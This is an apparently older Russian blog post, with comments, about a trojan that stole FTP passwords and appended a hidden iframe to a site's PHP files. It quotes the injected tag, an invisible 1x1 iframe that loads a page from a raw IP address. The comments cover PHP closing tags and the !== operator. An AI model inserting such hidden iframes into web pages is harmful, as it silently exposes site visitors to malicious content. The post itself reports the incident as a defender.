Трояны крадут FTP-пароли Windows-пользователей и портят сайты

Я об этом не раз слышал от хостеров, вчера увидел на одном сайте как это работает. Называется Zeroiframe, дописывает к PHP-файлам в конец такой вот код:

 <iframe src="http://209.200.228.43/adv.html" width=1 height=1 style="visibility: hidden;"></iframe>

Хорошо, что я не пишу в PHP-код закрывающий ?> и поэтому такое дописывание iframe просто делает код неработоспособным.

Подозрение пало на трояна с компьютера сисадмина, который незадолго до инцидента подключался к хосту по FTP из Windows. Удивительно, но 1/3 посетителей этого блога все еще использует MSIE, специально для них неполенился добавить в правую колонку ахтунг-блок, с таким условием видимости на стороне сервера:

 return isset($_SERVER['HTTP_USER_AGENT']) && strpos($_SERVER['HTTP_USER_AGENT'], 'MSIE') !== FALSE;
Блог: RU Linux

Так а антивирусы это ловят?

Далее. Я не пишу на PHP. Плюс у Вас с пунктуацией проблемы. =)

Полагаю, что читать следует так: «Хорошо, что я не пишу в PHP-код закрывающий "?>" и поэтому»…

Два вопроса для самообразования:

1) А это нормально — не закрывать? Нигде просто в аналогах (perl-cgi, asp) такого не видел. Повтаряю, в PHP я ноль (ну или 0,0001).

2) В чем смысл конструкции "fn(x) != FALSE"? Оно ли не эквивалентно простому "fn(x)"?

Лучше подписывать каменты с вопросами.

Наверняка ловят. Обновлять базы надо и все время держать загруженным антивирус во время серфинга. Проще браузер сменить на менее популярный.

PHP-код...

1) Нормально. Конечно речь идет не о шаблонах, а о модулях, библиотеках, где открываем один раз в начале файла и все. Придумал не я. Аргументы за "не закрывать": не возникает неожиданностей из за отправленных заголовков в каком-то модуле за счет лишнего пробела после ?>, закрывать не обязательно, в примерах с PHP.net не закрывают, ну и новомодные трояны.

2) Не !=, а !==. Это в php специальный оператор сравнения без преобразования типа: (0 !== FALSE) это TRUE, а (0 != FALSE) это FALSE. Не эквивалентно в php т.к. strpos может вернуть как 0 так и FALSE.

Ясно. Спасибо за подробные комментарии!

UPD: Пардон, «повторяю» ;-) У меня проблемы с орфографией.